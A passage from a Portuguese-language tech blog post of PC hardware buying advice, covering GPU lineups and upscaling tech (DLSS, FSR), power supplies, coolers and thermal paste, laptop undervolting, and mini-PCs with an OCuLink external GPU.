<li>Nomenclatura: RX [Series][Model]. quanto maior o número = mais novo, mais rápido. XT = variante mais rápida.</li>
<li>Vantagens: bom custo-benefício, mais VRAM que NVIDIA na mesma classe, drivers abertos no Linux.</li>
<li>Desvantagens: ray tracing mais lento que NVIDIA, mais fraco pra AI/compute.</li>
</ul>
<p><strong>Intel (Arc)</strong></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913233641_placa-de-video-intel-arc-a770-phantom-gaming-asrock-16gb-gddr6-rgb-polychrome-sync-90-ga4kzz-00uanf_1696943713_gg.webp" alt="Arc a770"  loading="lazy" /></p>
<ul>
<li>Série:
<ul>
<li>Arc A300/A500/A700 (Alchemist, 2022) – primeira geração.</li>
<li>A380 = entrada, A770 = midrange pra um pouco mais alto.</li>
</ul>
</li>
<li>Futuro: Battlemage (2025), depois Celestial.</li>
<li>Vantagens: competitivo em preço, boa engine de mídia (encode/decode AV1), drivers melhorando.</li>
<li>Desvantagens: drivers imaturos(especialmente em Linux), opções high-end limitadas, sem CUDA/AI.</li>
</ul>
<p><strong>NVIDIA (GeForce / RTX)</strong></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913233742_251313_1-17459188343668033.jpeg" alt="RTX 4090"  loading="lazy" /></p>
<ul>
<li>Série (recente):
<ul>
<li>GTX 10 (Pascal, 2016) – enorme salto de eficiência (GTX 1080).</li>
<li>RTX 20 (Turing, 2018) – introduziu ray tracing (RTX 2080 Ti).</li>
<li>RTX 30 (Ampere, 2020) – grande salto, popular (RTX 3080, 3090).</li>
<li>RTX 40 (Ada Lovelace, 2022) – melhor em ray tracing, DLSS 3 frame generation, RTX 4090 é o topo de linha.</li>
</ul>
</li>
<li>Naming: GTX/RTX + series + model (higher = better). Ti/SUPER = faster variant.</li>
<li>Strengths: best ray tracing, DLSS, CUDA/AI support, most mature ecosystem.</li>
<li>Weaknesses: high cost, VRAM sometimes lower than AMD at same tier.</li>
</ul>
<p>Eu sou enviesado pra opinar sobre gráficos porque sou time verde faz anos. Eu tive a GTX 1080, RTX 3090, RTX 4060 e RTX 4090. Esses últimos dois ainda uso hoje. A 4060 pra games é mais que suficiente até 1440p na maioria e até 4K e em muitos menos pesados.</p>
<p>Editei a maioria dos videos do meu canal com GTX 1080 (enquanto eu filmava em 1080p) e depois migrei pra RTX 3090 quando passei a gravar em 4K com minha câmera <strong>Sony A7S III</strong>. Ela seria mais que suficiente ainda hoje, mas resolvi migrar pra RTX 4090.</p>
<p>A RTX 4090 uso pra render 3D (Blender) ou IA (LLMs com Ollama, LM Studio, Aider, etc). Não me vejo precisando de uma 5090 ainda (não tem mais VRAM que a minha, que é a única coisa que seria relevante pra LLMs).</p>
<p>Pro dia a dia, gerenciador de janelas, navegar na web e tudo mais, eu dou output pela iGPU (GPU integrada) que já vem na Ryzen 9. A RTX fica como GPU secundária pra render offload.</p>
<p>Vamos ver as GPUs mais modernas:</p>
<p><strong>NVIDIA — GeForce RTX 50 (Blackwell, 2025)</strong></p>
<ul>
<li>Key: PCIe 5.0, GDDR7, DLSS 4 / Multi-Frame Generation, DisplayPort 2.1b (UHBR20).</li>
<li>RTX 5090: 32 GB GDDR7, 512-bit bus, arquitetura Blackwell.</li>
<li>RTX 5080: Blackwell + GDDR7 + DLSS 4.</li>
</ul>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913234020_gv-n5090aorus-m-ice-32gd9.jpg" alt="RTX 5090"  loading="lazy" /></p>
<p><strong>AMD — Radeon RX 9000 (RDNA 4, 2025)</strong></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913234057_81OO5-B1DVL.jpg" alt="RX 9070 XT"  loading="lazy" /></p>
<ul>
<li>Foco: mid/high-range, RT melhorado + novos aceleradores de IA.</li>
</ul>
<p><strong>Intel — Arc B-series (Battlemage, 2024/2025)</strong></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913234137_placa-de-video-asrock-intel-arc-b570-challenger-oc-10gb-gddr6-xess-ray-tracing-b570-cl-10go_222549.jpg" alt="B570"  loading="lazy" /></p>
<ul>
<li>B580/B570); foco no valor, AV1 ainda forte, drivers melhorando.</li>
</ul>
<p><strong>Pontos Importantes</strong></p>
<ul>
<li>VRAM eu não recomendo menos que 12GB. Se for fazer coisas mais profissionais como editar videos e criação de conteúdo, pelo menos 16GB. Dá pra rodar LLMs menores com menos VRAM, mas pra rodar as maiores, no mínimo 24GB (como minha 4090) ou 32GB (5090).</li>
<li>Se estiver procurando a performance pra games de 4K com 240hz, garanta que tem <strong>Display Port 2.1</strong>. (RTX série 50 ou RX 9000).</li>
<li>Ecossistema: depende da tecnologia precisa. CUDA só tem em NVIDIA. DLSS 4 (super resolution, frame generation) só tem em NVIDIA. O equivalente em AMD é FSR/HYPR-RX. Intel não tem nada disso.</li>
<li>Performance também depende da banda, então PCIe 4 vs PCIe 5 como já expliquei antes. RTX série 50 tira vantagem de PCIe 5.</li>
</ul>
<p>Não adianta comprar uma RTX série 50 e colocar com uma placa-mãe e CPU que só suporta PCIe 4.0. Vai funcionar, mas não vai tirar proveito de uma placa gráfica tão cara. É desperdício, melhor ficar numa RTX 2080 ou RTX 3080, por exemplo.</p>
<p>Custo-benefício e suporte em Linux é melhor em AMD. Se tiver dinheiro, RX série 9000, ou pelo menos série 7000. Procure pela versão XT/XTX que são as de mais performance. Mas não vai ter suporte a CUDA. O equivalente de API na AMD é o <strong>ROCm</strong> mas nem todo software suporta ele ainda.</p>
<p>Em games, interessa muito <strong>DLSS</strong> (Deep Learning Super Sampling) que são modelos de IA especializados em tratar frames de games.</p>
<ul>
<li>
<p>RTX 20-series (Turing, 2018)</p>
<ul>
<li>Suporta DLSS 1.0 (primeira geração, neural net por jogo - que vem nas atualizações de drivers, qualidade de imagem mais ou menos).</li>
<li>Depois ganhou DLSS 2 via atualização de driver.</li>
</ul>
</li>
<li>
<p>RTX 30-series (Ampere, 2020)</p>
<ul>
<li>Suporta DLSS 2 completo (reconstrução de imagem mais nítida, estabilidade temporal).</li>
<li>Suporta DLSS 3 Frame Generation (frames interpolados por IA), mas somente na série 40 tem Optical Flow Accelerator v2, então série 30 não consegue frame generation.</li>
</ul>
</li>
<li>
<p>RTX 40-series (Ada Lovelace, 2022)</p>
<ul>
<li>Suporta DLSS 2.</li>
<li>Suporta DLSS 3 Frame Generation (insere frames de IA → maior FPShigher FPS, pequeno custo em latência).</li>
<li>Adiciona DLSS 3.5 Ray Reconstruction (IA substitui denoiser → melhor qualidade de ray tracing).</li>
</ul>
</li>
<li>
<p>RTX 50-series (Blackwell, 2025)</p>
<ul>
<li>Suporta DLSS 4 (Multi-Frame Generation).</li>
<li>Melhor interpolação de frame com redução de artefatos de latência comparado a DLSS 3.</li>
<li>Constrói em cima de DLSS 3.5 (Ray Reconstruction ainda incluso).</li>
</ul>
</li>
<li>
<p>DLSS 1 → Prova de conceito, qualidade inconsistente, obsoleto.</p>
</li>
<li>
<p>DLSS 2 → Per-pixel temporal upscaling, imagem nítida, artefatos mínimos, muito usado ainda hoje.</p>
</li>
<li>
<p>DLSS 3 → Frame Generation → interpola frames inteiros, boost de FPS em cenários limitados pela GPU; requer série 40 pra cima.</p>
</li>
<li>
<p>DLSS 3.5 → Ray Reconstruction → melhora luzes/reflexões de ray tracing, mais detalhes, menos &ldquo;noise&rdquo; (barulho). Funciona em todas as RTX.</p>
</li>
<li>
<p>DLSS 4 → Multi-Frame Generation (RTX 50+) → movimentos mais suaves, redução de latência de artefatos.</p>
</li>
</ul>
<p>AMD tem o equivalente a DLSS na forma de FSR, <strong>FidelityFX Super Resolution</strong>. Em Resumo:</p>
<ul>
<li>
<p>FSR 1.0 (2021)</p>
<ul>
<li>Spatial upscaler (per-frame, sem motion vectors).</li>
<li>Suporte a várias GPUs (funciona em NVIDIA, Intel, consoles).</li>
<li>Vantagem: simples, universal.</li>
<li>Desvantagem: imagem soft, shimmering.</li>
</ul>
</li>
<li>
<p>FSR 2.0 (2022)</p>
<ul>
<li>Temporal upscaler (usa motion vectors + histórico).</li>
<li>Mais perto de DLSS 2 em qualidade.</li>
<li>Suportado em AMD + NVIDIA + Intel GPUs.</li>
<li>Mais pesado, mas leve comparado com DLSS.</li>
</ul>
</li>
<li>
<p>FSR 3.0 (2023)</p>
<ul>
<li>Adiciona Frame Generation (interpolação sem IA).</li>
<li>Roda em AMD e NVIDIA.</li>
<li>Vantagem: mais FPS mesmo em GPUs mais velhas.</li>
<li>Desvantagem: mais latência de input do que Optical Flow + Reflex combo de DLSS 3.</li>
</ul>
</li>
<li>
<p>FSR 3.1 (2024)</p>
<ul>
<li>Separa Frame Gen de Upscaling → pode usar FG com outros upscalers (DLSS/XeSS).</li>
<li>Lida melhor com artefatos (ghosting, shimmering).</li>
</ul>
</li>
</ul>
<p>Intel tem XeSS mas é bem mais pobre que FSR (que parece que é open source, por isso também suporta outras GPUs) e DLSS (que é proprietário e só funciona em NVIDIA RTX).</p>
<p>NVIDIA série GTX pra trás não suporta nada disso e são considerados obsoletos já. Se quiser algo mais antigo pra economizar não iria mais pra trás do que RTX série 20, como uma 2060 ou 2080.</p>
<p>GPU de Notebook é outra coisa que a marketagem fode. Por exemplo, você vai encontrar notebooks que dizem ter &ldquo;RTX 4060&rdquo;, porém tem menos CUDA cores, tem menos clock (limitação térmica, não tem como resfriar dentro de um notebook), TGP que é o total de energia consumida que vai ser faixa de 35W a no máximo 140W, mas sempre fica mais baixo. Em desktop uma 4060 iria de 115 a 160W. Vai ter menos VRAM (8GB ou menos). Performance geral vai ser de 30% a 50% mais lento que modelo desktop de mesmo nome.</p>
<p>Então uma <strong>RTX 4060 mobile</strong> vai ser mais equivalente a uma <strong>RTX 3050 Ti</strong> ou <strong>RTX 3060</strong>.</p>
<p>Vamos comparar alguns modelos da NVIDIA (as duas que eu tenho e a mais nova de todas):</p>
<p><strong>RTX 4060 (Ada Lovelace, 2023)</strong></p>
<ul>
<li>Architecture: AD107</li>
<li>CUDA cores: 3,072</li>
<li>Base / Boost: 1.83 / 2.46 GHz</li>
<li>VRAM: 8 GB GDDR6, 128-bit bus</li>
<li>Bandwidth: 272 GB/s (with 24 MB L2 cache)</li>
<li>TGP: 115 W</li>
</ul>
<p><strong>RTX 4090 (Ada Lovelace, 2022)</strong></p>
<ul>
<li>Architecture: AD102</li>
<li>CUDA cores: 16,384</li>
<li>Base / Boost: 2.23 / 2.52 GHz</li>
<li>VRAM: 24 GB GDDR6X, 384-bit bus</li>
<li>Bandwidth: 1,008 GB/s</li>
<li>TGP: 450 W</li>
</ul>
<p><strong>RTX 5090 (Blackwell, 2025)</strong></p>
<ul>
<li>Architecture: GB202 (Blackwell)</li>
<li>CUDA cores: ~24,576</li>
<li>Base / Boost: ~2.5+ GHz</li>
<li>VRAM: 32 GB GDDR7, 512-bit bus</li>
<li>Bandwidth: ~1.5–1.6 TB/s</li>
<li>TGP: ~450–500 W (varies)</li>
</ul>
<p>Notem como TGP varia drasticamente de um modelo 60 pra 90, de 115W pra absurdos 450 a 500W! E realmente consome isso se começa a puxar modelos LLM ou jogos AAA pesados. Também note a diferença gritante de CUDA cores. De novo: a 4060 roda meus jogos da Steam (muitos AAA) super de boa, seja tem 1440p max settings ou 4K medium settings, 60 fps a 100fps. Graças a DLSS, dá pra ter boa resolução e bom FPS.</p>
<p>Modelos 90 é se realmente for renderizar coisa pesada, editar video pesado ou rodar muita IA.</p>
<h3>Power Supply (PSU)<span class="hx:absolute hx:-mt-20" id="power-supply-psu"></span>
    <a href="#power-supply-psu" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Toda hora estou falando sobre TGP, TDP, solução térmica e tem que falar de PSUs, as &ldquo;fontes&rdquo;. Qualidade aqui faz diferença, como sempre, nunca compre sem marca, marca genérica ou coisa barata do AliExpress. Um PSU porcaria pode diminuir vida útil dos seus componentes ou destruir mesmo seu PC.</p>
<p>Marcas boas são: Seasonic, Corsair, Cooler Master, Be Quiet, EVGA. Queremos certificações como 80 PLUS Gold, Platinum, Titanium (e cuidado, marcas xing-ling vem com essas etiquetas).</p>
<p>Sobre a capacidade, o que realmente vai fazer diferença na conta é o consumo e CPU e GPU, veja as especificações dos modelos que escolher, mas em linhas gerais:</p>
<ul>
<li>
<p>setup velho, com uma i5 ou Ryzen 5, GPU média como uma RTX 4060 vai ser faixa de consumo de 200W a 300W (varia entre &ldquo;idle&rdquo;, que é parado e pico, onde dá turbo boost ou está usando todos os cores, recompilando kernel, rodando LLMs, etc). Considerando outros componentes no PC é melhor pelo menos uma PSU de <strong>550 a 650W</strong>.</p>
</li>
<li>
<p>setup médio, com uma RTX 4070 ou RX 7800 vai consumir faixa de 300W a 450W então escolha uma PSU de <strong>750 a 850W</strong>.</p>
</li>
<li>
<p>setup de ponta, com uma RTX 4080 pra cima, puxando muito processamento de IA. Vai consumir faixa de 500 a 800W. Então é bom já considerar uma PSU <strong>1000W</strong> ou <strong>1600W</strong> se colocar 2 GPUs em paralelo.</p>
</li>
</ul>
<p>A que eu uso no meu PC é uma <strong>Corsair RM1000x Shift</strong></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914002607_fonte-atx-1000w-corsair-rm1000x-shift.jpg" alt="Corsair RX1000x"  loading="lazy" /></p>
<p>Lembram que falei sobre tamanhos de placa-mãe e gabinetes? ATX, mini-ITX? A PSU RM1000x que falei agora não cabe nelas. Pra isso precisa de uma fonte low profile ou <strong>SFF</strong> (Small Form Factor).</p>
<p>Digamos que queira colocar uma RTX 4070 num gabinete mini-ITX. Vai precisar de uma SFX ou SFX-L, pelo menos de 650 ou 750W. Exemplos são:</p>
<ul>
<li>Corsair SF750 / SF600 Platinum (SFX)</li>
<li>SilverStone SX700 / SX750 (SFX)</li>
<li>Seasonic Focus SGX-650 / SGX-750 (SFX)</li>
<li>Lian Li SP series (SFX / SFX-L)</li>
</ul>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914002949_FOCUS-SGX-750-PSU-box-scaled.webp" alt="Seasonic Focus"  loading="lazy" /></p>
<p><strong>CUIDADO</strong></p>
<p>Os cabos que vem <strong>junto</strong> com a PSU são específicas pra PSUs da <strong>mesma marca</strong>.</p>
<blockquote>
  <p><strong>Não misture cabos diferentes com marcas diferentes!!!!</strong></p>

</blockquote>
<p>Embora os encaixes pareçam o mesmo, elas podem danificar seus componentes!! Não existe um padrão de cabos pra PSU!!! Não misture seus cabos Corsair com PSUs Seasonic ou, pior, não compre cabos genéricos xing-ling no AliExpress e misture com sua PSU!! <strong>Você foi avisado!!</strong></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914003312_which_psu_cables_go_where.width-1500.format-webp.webp" alt="cabos"  loading="lazy" /></p>
<h3>Coolers<span class="hx:absolute hx:-mt-20" id="coolers"></span>
    <a href="#coolers" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Se estiver gastando bastante pra pegar os topos de linha de CPU, GPU, placa-mãe, PSU, não pode economizar em coolers.</p>
<p>Sabia que a <strong>maior parte</strong> da energia que seu PC consome é dissipado em forma de calor? Virtualmente tudo. O PC que falei que consome de 750 a 850W? Vai tudo pro ar em forma de calor. Somente uma <strong>pequena fração</strong> é convertida em outras formas como luz (LEDs), som (speakers), energia cinética (ventoinhas).</p>
<p>O princípio é baseado na <strong>lei de conservação de energia</strong>, que diz que energia não pode ser criada ou destruída, só transformada. O processo de computação por si não consome energia de uma forma que previne sua conversão em calor. O processo de processamento de informação envolve movimento de eléctrons através de circuitos, que geram calor por causa da resistência elétrica.</p>
<p>Portanto, quanto mais potente forem os componentes, mais energia consome e mais calor precisa ser dissipado rápido!</p>
<p>De cara, se dinheiro não for problema, escolha o melhor. O melhor é sempre <strong>Noctua</strong>. Eu nunca tive problema, são ultra silenciosos, confiáveis e nunca deixam na mão. E prefira <strong>air cooler</strong>, que tem a menor quantidade de peças móveis e que podem dar defeito ou precisar de manutenção. Liga uma vez e deixa pra sempre.</p>
<p>Se for uma CPU mais pesada como a minha Ryzen 9 7850X3D ou a mais nova 9850X3D tem que ser a <strong>NH-D15 G2</strong>.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914003832_232317-800-auto.webp" alt="NH-D15 G2"  loading="lazy" /></p>
<p>Eu tenho a G1 e funciona sem problemas já faz uns 3 anos.</p>
<p>Poderia usar <strong>Water Cooler (AIO)</strong>? Poderia, mas tem que ser um AIO com radiador de 280mm a <strong>360mm</strong> (lembram quando falei sobre medir a dimensão dos componentes com o gabinete que vai comprar??). Um AIO funciona assim: em vez de ter uma ventoinha diretamente no dissipador de metal que fica grudado na CPU, passa um tubo onde circula líquido que vem de um tanque com uma bomba.</p>
<p>A água fria passa pelo dissipador, vai capturando calor, e levando pra um radiador. O radiador precisa de ventoinhas, pra dissipar o calor dele pro ar. Ou seja: vai ter ventoinhas de qualquer forma. Por isso eu não vejo vantagem. Veja um exemplo:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914004612_71rD5Q7LtLL.webp" alt="Corsair Nautilus"  loading="lazy" /></p>
<p>Tem várias opções como a <strong>Corsair Nautilus 360 RS Liquid CPU Cooler</strong> ou uma <strong>NZXT Kraken 240 RGB AIO</strong>.</p>
<p>Por que se vê tanto AIO por aí? Porque os marketeiros descobriram do que as pessoas gostam: <strong>luzes RGB</strong>. Essa é a única razão. Em vez de uma única ventoinha eficiente Noctua, bege, sem graça, porque não <strong>três</strong> ventoinhas coloridas no radiador?? 🤣</p>
<p>Honestamente, tirando essa única razão, não existe motivos pra não ir direto pra Noctua NH-D15. Eu acho AIOs uma enorme perda de tempo.</p>
<p>Isso tudo dito, comprou a melhor CPU, a melhor Noctua, agora falta uma coisa entre as duas: <strong>Pasta Térmica</strong>. Normalmente, quando se compra o dissipador+ventoinha, como essa Noctua, já vem pasta térmica junto. No exemplo, deve vir a Noctua NT-H2, que é boa e suficiente.</p>
<p>Eu, pessoalmente, sempre confiei na <strong>Thermal Grizzly</strong>. Sempre usei a Kryonaut. Mas se dinheiro não for problema, porque não já ter uma <strong>Thermal Grizzly Duronaut</strong>?</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914005118_3393159-n1.webp" alt="thermal grizzly"  loading="lazy" /></p>
<p>Outras boas opções são a <strong>Arctic MX-6</strong>, <strong>Corsair XTM60 Performance</strong>, <strong>Thermalright TF7 12.8 W/mK</strong>, <strong>Cooler Master Cryofuze 5</strong> ou <strong>ID-Cooling Frost X45</strong>. Qualquer uma delas vai ser boa.</p>
<p>Passe na CPU, espalhe com uma espátula de plástico pela área toda e é isso. Esquece as mandingas de colocar pasta em &ldquo;X&rdquo; ou qualquer outro formato. Só espalha igualmente e pronto, talvez um pouquinho mais no meio.</p>
<p>E sim, existe a opção de <strong>Metal Líquido</strong>, como vem nos Playstation 5. Mas você não vai querer usar.</p>
<p>Metal Líquido é <strong>CONDUTOR ELÉTRICO</strong>, diferente de pasta térmica. Pra usar precisa SABER como usar. E você não vai saber. Vai vazar pelos lados e vai dar curto e você vai fritar sua CPU. Nem cogite. É pra usos específicos de quem sabe o que está fazendo.</p>
<p>Na dúvida, compre Thermal Grizzly, Duronaut ou Kryonaut. Acabou.</p>
<h3>Undervolting<span class="hx:absolute hx:-mt-20" id="undervolting"></span>
    <a href="#undervolting" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Um pequeno adendo sobre notebooks, especialmente os mais velhos de mais de 5 anos pra trás. Eles não tem como colocar coolers grandes como um NH-D15 ou um AIO. E a geração Intel de mais de 5 anos atrás dissipava MUITO calor. Não era incomum a CPU chegar a 100 graus!!</p>
<p>Uma CPU normal opera em clock base, digamos 2 ou 3Ghz, e quando precisa de mais performance numa tarefa pesada, ele pode dar Turbo Boost pra 4Ghz ou mais. Só que isso aumenta consumo de energia (bateria vai embora mais rápido) e o pior: <strong>esquenta</strong>.</p>
<p>Se esquentar demais vai acontecer o temido <strong>THERMAL THROTTLE</strong>, ou seja, a CPU - pra se proteger, e não morrer - vai derrubar o block <strong>abaixo</strong> do base clock, digamos pra menos de 1 Ghz.</p>
<p>Não adianta nada dar Boost de 4Ghz por alguns minutos e depois passar um tempão capado em 1 Ghz até a temperatura baixar.</p>
<p>Por isso muita gente recomenda fazer <strong>undervolting</strong> com uma ferramenta como <a href="https://www.maketecheasier.com/reduce-cpu-temperature-undervolting/"target="_blank" rel="noopener">Throttlestop</a> no Windows ou <a href="https://github.com/sicreative/VoltageShift"target="_blank" rel="noopener">VoltageShift</a> no Mac ou intel-undervolt e amdctl no Linux (leia o <a href="https://wiki.archlinux.org/title/Undervolting_CPU"target="_blank" rel="noopener">ArchWiki de Undelvolt</a>)</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914015934_2021-06-07-113438.webp" alt="Throttlestop"  loading="lazy" /></p>
<p>A idéia é diminuir a voltagem que vai pra CPU/GPU, evitar que ele bata no teto de temperatura e evitar thermal throttle. É melhor que rode um pouco menos rápido no geral, do que rebaixar lento demais num throttle.</p>
<p>É um processo de tentativa e erro, depende do firmware, modelo da CPU, etc. Mas se você sente esse problema no seu notebook antigo, essa é uma solução.</p>
<p>Eu precisei usar muito isso na época dos Macbook Intel ou Dell XPS da era de 2016. Cuidado com notebooks com reputação de não ter boa solução térmica (que esquenta demais).</p>
<h3>Mini-PCs<span class="hx:absolute hx:-mt-20" id="mini-pcs"></span>
    <a href="#mini-pcs" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Se achou tudo isso complicado, e acha notebooks muito caros, existe uma outra boa alternativa: <strong>Mini-PCs</strong>.</p>
<p>Muita gente fala dos <strong>Beelink</strong> e eu concordo, são muito bons. Se conseguir achar uma boa configuração num preço que cabe no seu bolso, pode comprar. Hoje em dia funcionam muito bem.</p>
<p>Eu mesmo uso um <strong>Intel NUC 13 Pro Slim</strong>, que vem com uma Intel Core i7-1360P de 13a geração, com 16GB e eu dei upgrade pra 32 GB (DDR4), tem PCIe 4.0 pra NVME, acho que vem com 512GB mas dei upgrade pra 1TB, Wi-fi 6E e Bluetooth 5.3, iGPU Intel Irix Xe (4K 60hz, não presta pra jogos mas pra produtividade é de bom tamanho), Ethernet 2.5Gbps (excepcional pra um Mini-PC), saídas HDMI e DP, e ainda tem Thunderbolt 4 e USB 3 Gen 2.</p>
<p>Não é barato, mas também não é absurdo. No Mercado Livre tá na faixa de <strong>BRL 6.000</strong>, o que é super aceitável pra essa configuração e zero trabalho. Eu uso ela como meu <a href="/tags/homeserver">home server</a>, como já mostrei em vários posts anteriores no blog.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914010051_screenshot-2025-09-14_01-00-40.png" alt="Grafana cAdvisor"  loading="lazy" /></p>
<p>Tenho dezenas de containers Docker rodando coisas como Plex, Sonarr, Radarr, Grafana, Cloudflare, etc e não usa quase nada da minha CPU. Eu coloquei 32GB mas poderia ter deixado com os 16 GB que veio porque male-male está usando 4GB de RAM no total.</p>
<p>Esse mini-PC é suficiente pra um programador médio. Vai durar muito tempo. Só conectar um monitor, teclado, mouse e é isso.</p>
<p>Eu tenho um segundo mini-PC, o <strong>Minisforum EliteMini UM780 XTX</strong>:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914010312_Minisforum-EliteMini-UM780-XTX-Mini-PC-connectivity-1200x610.webp" alt="Minisforum"  loading="lazy" /></p>
<p>Esse é mais potente, tem <strong>AMD Ryzen 7 8840U</strong> (categoria similar a um <strong>Rog Ally X</strong> de primeira geração, o de segunda é Z1 Extreme), 32GB, 1TB NVME PCIe 4.0, tem USB 4 (não tem Thunderbolt porque é exclusividade da Intel, Apple licencia). Mas pra mim o mais importante é que é um dos poucos PCs que tem saída <strong>OCulink</strong>.</p>
<p>OCulink é uma porta que conecta direto no barramento PCIe. Diferente de USB ou Thunderbolt que tem overhead do protocolo, OCulink é como se eu estivesse espetando uma placa direto no slot da placa-mãe.</p>
<p>Quando saiu o <strong>SteamDeck</strong> talvez vocês já tenham visto videos de pessoas fazendo mod e conseguindo conectar uma GPU externa nele. Pra fazer isso a GPU precisa se conectar direto na PCIe e a <strong>gambiarra</strong> foi usar o slot de NVME pra isso. Porque NVME também é um slot M2 que é PCIe, como já expliquei lá em cima.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914010609_external-gpu-cooled-deck-v0-814qfkk5y4cb1.webp" alt="SteamDeck GPU"  loading="lazy" /></p>
<p>Pois bem, com OCulink não precisa fazer essa gambiarra. A Minisforum vende o <strong>DEG1 OCulink EGPU</strong>:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914010830_Minisforum-DEG1-Oculink-eGPU-with-AMD-Radeon-W7700-GPU-5-800x487.webp" alt="DEG1"  loading="lazy" /></p>
<p>Lembram que eu falei que tenho uma RTX 4090 no meu PC e também uma RTX 4060 pra games? Eu ligo nesse deck de egpu, conecto uma PSU só pra GPU e o DEG1 conecta na porta OCulink da UM780, e ela se liga na minha TV OLED 80&quot;, e pronto! Game 4K na sala.</p>
<p>Vai ter menos lanes de PCIe do que num PC de verdade, mas vai ser mais rápido do que um EGPU com Thunderbolt 4. Pro sistema operacional, seja Windows, seja Linux, ele não nota diferença de estar dentro ou fora do gabinete. Pra ele é uma GPU normal conectado num slot PCIe 4.0 diretamente. Não recomendo EGPUs via Thunderbolt, só com OCulink.</p>
<p>E não adianta ligar minha 4090 porque não tem lanes de PCIe suficientes. OCulink é PCIe x4. Quando se lê &ldquo;x4&rdquo; significa <strong>4 Lanes PCIe</strong>, no caso 4x PCIe 4.0 então uma banda máxima de <strong>64Gbps</strong>.</p>
<p>Uma RTX 4090 foi desenvolvida pra <strong>PCIe 5.0 x16</strong>. Então eu estaria desperdiçando 3/4 da banda que ele é capaz de trafegar. Por isso disse que seria um desperdício. Um RTX 4060 foi desenhado pra <strong>PCIe 4.0 x4</strong> que é exatamente o máximo da OCulink, então esse é o teto pra uma EGPU.</p>
<p>Portanto uma RTX 4060 via OCulink vai performar quase que totalmente, sem overhead se fosse eGPU via Thunderbolt (que perderia uns 20% da banda). Mas potente que isso, vai desperdiçar a GPU.</p>
<p>Voltando pra mini-PC, como falei, <strong>Beelink</strong> é uma marca bem popular. E se quiser o seu topo de linha, é a <strong>Beelink SER9 Pro</strong>:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914011539_ser9.webp" alt="SER9"  loading="lazy" /></p>
<p>Pela bagatela de <strong>BRL 8.000</strong> no Mercado Livre, ela vem com AMD Ryzen AI 9 HX370 (12 cores/24 threads, até 5.1Ghz boost, 80 TOPS de AI), 32 GB de LPDDR5 (bem melhor que DDR4), 1 TB NVME PCIe 4.0, iGPU Radeon 890M (que é boa pra jogos também! muito melhor que um SteamDeck), Ethernet 2.5Gbps (excelente), e o básico: USB 4, HDMI, DisplayPort, USB 3.2, etc.</p>
<p>Pela configuração, eu acho que o preço condiz bem. Um notebook de configuração similar seria um <strong>ASUS ROG Flow Z13</strong> que tá na faixa de <strong>BRL 13.000</strong>. Se considerar que é portátil, vem com uma tela excelente, teclado, touchpad, bateria, não é um preço tão ruim.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914012100_rog%20flow%20z13.jpg" alt="Asus Rog Flow"  loading="lazy" /></p>
<p>Ou se quiser algo ainda mais <strong>Premium</strong>, seria um <strong>Razer Blade 16</strong> que tem o mesmo Ryzen AI Max mas uma tela 16&quot;, super fino e tals, mas com a Taxa Brasil, vai sair salgados <strong>BRL 40.000</strong>. Não dá pra justificar.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914012231_814PVSAztPL.webp" alt="Blade 16"  loading="lazy" /></p>
<p>Se não quiser gastar tanto, ainda tem a <strong>Beelink SER8</strong> que tem AMD Ryzen 7 8845HS, que ainda é razoavelmente suficiente pra programar, com 8 cores/16 threads, iGPU Radeon 780M (que serve pra jogos não tão pesados), 32 GB DDR5 5600 (que é bom), 1 TB PCIe 4.0 que dá pra subir até 4 TB como já expliquei. Vem com Wi-Fi 6, Bluetooth 5.2, Ethernet 2.5 Gbps também, suporta HDMI 2.1, DP 1.4, USB 4.</p>
<p>E num Mercado Livre ainda se acha por uma faixa de <strong>BRL 5.000</strong>, similar ao meu Intel NUC. Acho que esse é o &ldquo;sweet-spot&rdquo; entre preço e performance. Pra mim, pessoalmente, acho fraco, mas não quer dizer que seja inútil. De novo, depende de quanto você pode gastar. O melhor PC é aquele que você pode comprar.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914012714_ser8.webp" alt="Beelink SER8"  loading="lazy" /></p>
<p>Se instalar <a href="/tags/omarchy/">Omarchy</a> nesse Beelink, fica redondo! Recomendo!</p>
<h3>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
